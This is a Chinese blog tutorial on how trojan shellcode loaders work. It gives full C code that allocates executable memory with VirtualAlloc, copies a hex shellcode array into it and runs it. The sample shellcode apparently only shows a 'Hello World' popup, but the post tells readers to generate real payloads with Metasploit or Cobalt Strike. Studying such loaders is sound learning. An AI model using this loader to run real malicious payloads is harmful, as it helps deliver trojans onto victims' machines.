木马原理-从0手搓shellcode加载器

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-优快云博客

 本文整理加载器的具体原理。

并进行手搓加载器

木马上线原理

shellcode

一串由机器指令组成的代码,十分小巧,用于执行木马的相应功能。

通常使用远控软件生成

加载器

显然,shellcode是机器指令,不能直接运行,需要用一些方法,把他写入内存中,执行它。

加载器就是执行shellcode的。

木马整体原理

存放一段shellcode在代码,或者其他位置中。

加载器开辟一块内存。

把shellcode转移到对应内存中。

执行内存中的内容。

手搓经典款加载器

准备机器代码

首先准备一段机器代码(玩木马的兄弟自行用MSF,CS生成)。

这个shellcode是32位的,可以进行一个弹窗。

unsigned char无符号字符型,这个通常用来处理二进制流数据

unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
"\x52\xe8\x5f\xff\xff\xff\x68\x6f\x58\x20\x20\x68\x48\x65"
"\x6c\x6c\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x64\x58\x20"
"\x20\x68\x57\x6f\x72\x6c\x31\xc9\x88\x4c\x24\x05\x89\xe1"
"\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";

导入WindowsAPI

我们需要对Windows进行操作。所以我们用到了WindowsAPI。

#include <windows.h>

开辟内存

现在我们需要开辟一块内存,并且存在了指针中

void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

四个参数:

  1. lpAddress(位置)

    • 你想在内存的哪个位置开房?填NULL让系统帮你选。
  2. dwSize(大小)

    • 房间要多大(按字节算,比如1024是1KB)。
  3. flAllocationType(操作类型)

    • MEM_COMMIT:直接入住(立刻能用)
    • MEM_RESERVE:先占个坑(晚点再住进去)
  4. flProtect(房间权限)

    • PAGE_EXECUTE_READWRITE:房间可读、可写、可跑代码(重要!)
    • PAGE_READWRITE:只能读/写,不能运行(安全模式)

返回了一个指针。

转移机器代码到内存中

    memcpy(exec_mem, shellcode, sizeof(shellcode));

三个参数:

  1. 目的地:你要把数据贴到哪(比如VirtualAlloc分配的内存地址)
  2. :你要复制哪里的数据(比如unsigned char shellcode[] = {0x90,...}
  3. 字节数:复制多大一坨数据(比如sizeof(shellcode)

执行代码

这里用了强制转换

这个是一个函数指针

void(*)()

我们给他加一个括号,他就变成了强制转换。

(void(*)())

后面添加一个指针,就变成了,把指针强行转换为指针函数。

(void(*)())exec_mem

我们把他括起来,他就近似于一个指针函数名了。

((void(*)())exec_mem)

再加一个括号,表示调用执行这个指针函数。

((void(*)())exec_mem)()

当然以上就常规思路,你会发现很多括号,看不懂。

我整理一下思路:就是把指针转化为了函数指针,执行函数。

可以看我翻译的代码:

    typedef void(*FuncPtr)(); // 定义一个无参无返回的函数指针类型 FuncPtr
    FuncPtr func = (FuncPtr)exec_mem; // 强制转换
    func();

完整代码

用32位编译

#include <windows.h>


unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
"\x52\xe8\x5f\xff\xff\xff\x68\x6f\x58\x20\x20\x68\x48\x65"
"\x6c\x6c\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x64\x58\x20"
"\x20\x68\x57\x6f\x72\x6c\x31\xc9\x88\x4c\x24\x05\x89\xe1"
"\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";



int main() {
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, shellcode, sizeof(shellcode));
    ((void(*)())exec_mem)();
    return 0;
}

执行效果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北岭敲键盘的荒漠猫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值